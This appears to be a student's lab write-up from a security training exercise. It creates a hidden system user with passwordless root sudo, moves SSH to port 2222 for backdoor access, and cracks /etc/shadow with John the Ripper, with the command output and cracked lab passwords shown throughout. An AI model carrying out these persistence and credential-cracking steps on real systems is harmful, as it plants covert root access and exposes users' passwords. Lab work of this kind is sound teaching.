## Advanced Bash

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

root:etc\ $ adduser --system --no-create-home sysd

Adding system user `sysd' (UID 111) ...

Adding new user `sysd' (UID 111) with group `nogroup' ...

Not creating home directory `/home/sysd'.

2. Give your secret user a password:

root:etc\ $ passwd sysd

Enter new UNIX password:

Retype new UNIX password:

passwd: password updated successfully

(Gl!)

3. Give your secret user a system UID < 1000:

root:etc\ $ usermod -u 500 sysd

root:etc\ $ cat passwd | grep sysd

sysd:x:500:65534::/home/sysd:/usr/sbin/nologin

4. Give your secret user the same GID:

root:etc\ $ groupadd -g 500 sysd

root:etc\ $ usermod -g 500 sysd

root:etc\ $ cat passwd | grep sysd

sysd:x:500:500::/home/sysd:/usr/sbin/nologin

5. Give your secret user full `sudo` access without the need for a password:

sudo visudo

#add this edit to /etc/sudoers.tmp

#(last line)

sysd ALL=(ALL) NOPASSWD:ALL

6. Test that `sudo` access works without your password:

# in /etc/passwd, add update to path-- :/bin/bash to avoid 'this account is not available' error

sysadmin:~\ $ su sysd

Password:

sysd@scavenger-hunt:/home/sysadmin$ whoami

sysd

sysd@scavenger-hunt:/home/sysadmin$ sudo -l

Matching Defaults entries for sysd on scavenger-hunt:

env\_reset, mail\_badpass,

secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sysd may run the following commands on scavenger-hunt:

(ALL) NOPASSWD: ALL

sysd@scavenger-hunt:/home/sysadmin$ sudo -s

root@scavenger-hunt:/home/sysadmin# whoami

root

root@scavenger-hunt:/home/sysadmin# exit

exit

sysd@scavenger-hunt:/home/sysadmin$ whoami

sysd

sysd@scavenger-hunt:/home/sysadmin$ sudo -s

root@scavenger-hunt:/home/sysadmin# whoami

root

Step 2

1. Edit the `sshd\_config` file:

# linuxize.com - /etc/ssh/sshd\_config

#Port 2222

#Be extra careful when modifying the SSH configuration file. The incorrect configuration may cause the SSH service to fail to start.

# Once done, save the file and restart the SSH service to apply the changes:

sudo systemctl restart ssh

root@scavenger-hunt:/etc/ssh# nano sshd\_config (Port 2222 added)

root@scavenger-hunt:/etc/ssh# sudo systemctl restart sshd

root@scavenger-hunt:/etc/ssh# sudo systemctl status sshd

● ssh.service - OpenBSD Secure Shell server

Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)

Active: active (running) since Wed 2021-08-04 18:29:42 UTC; 5s ago

Process: 11671 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)

Main PID: 11682 (sshd)

Tasks: 1 (limit: 1108)

CGroup: /system.slice/ssh.service

└─11682 /usr/sbin/sshd -D

Aug 04 18:29:41 scavenger-hunt systemd[1]: Stopping OpenBSD Secure Shell server...

Aug 04 18:29:41 scavenger-hunt systemd[1]: Stopped OpenBSD Secure Shell server.

Aug 04 18:29:41 scavenger-hunt systemd[1]: Starting OpenBSD Secure Shell server...

Aug 04 18:29:42 scavenger-hunt sshd[11682]: Server listening on 0.0.0.0 port 2222.

Aug 04 18:29:42 scavenger-hunt sshd[11682]: Server listening on :: port 2222.

Aug 04 18:29:42 scavenger-hunt systemd[1]: Started OpenBSD Secure Shell server.

Step 3: Testing Your Configuration Update

1. Restart the SSH service:

sudo systemctl status sshd

2. Exit the `root` account:

root@scavenger-hunt:/etc/ssh# exit

exit

sysd@scavenger-hunt:/etc$ whoami

sysd

at this point exit shell, restart terminal

3. SSH to the target machine using your `sysd` account and port `2222`:

ssh sysd@192.168.6.105 -p 2222

sysd@192.168.6.105's password:

Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86\_64)

4. Use `sudo` to switch to the root user:

sysd@scavenger-hunt:/$ sudo -s

root@scavenger-hunt:/# whoami

root

Step 4: Crack The Passwords

1. SSH back to the system using your `sysd` account and port `2222`:

ssh sysd@192.168.6.105 -p 2222

sysd@192.168.6.105's password:

Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86\_64)

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

sysd@scavenger-hunt:/$ sudo -s

root@scavenger-hunt:/# whoami

root

root@scavenger-hunt:/etc# john shadow

Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])

Remaining 2 password hashes with 2 different salts

Press 'q' or Ctrl-C to abort, almost any other key for status

0g 0:00:04:10 46% 2/3 0g/s 301.0p/s 579.0c/s 579.0C/s seratnA..regdoD

0g 0:00:04:11 46% 2/3 0g/s 301.2p/s 579.1c/s 579.1C/s nevetS..eigduB

0g 0:00:04:13 46% 2/3 0g/s 301.1p/s 579.2c/s 579.2C/s hctertS..sarbeZ

Goodluck! (sysd)

Goodluck! (student)

2g 0:00:05:21 100% 2/3 0.006227g/s 296.1p/s 574.1c/s 574.1C/s Missy!..Jupiter!

Use the "--show" option to display all of the cracked passwords reliably

Session completed

root@scavenger-hunt:/etc# john --show shadow

sysadmin:passw0rd:18387:0:99999:7:::

student:Goodluck!:18387:0:99999:7:::

mitnik:trustno1:18387:0:99999:7:::

babbage:freedom:18387:0:99999:7:::

lovelace:dragon:18387:0:99999:7:::

stallman:computer:18387:0:99999:7:::

turing:lakers:18387:0:99999:7:::

sysd:Goodluck!:18843:0:99999:7:::

8 password hashes cracked, 0 left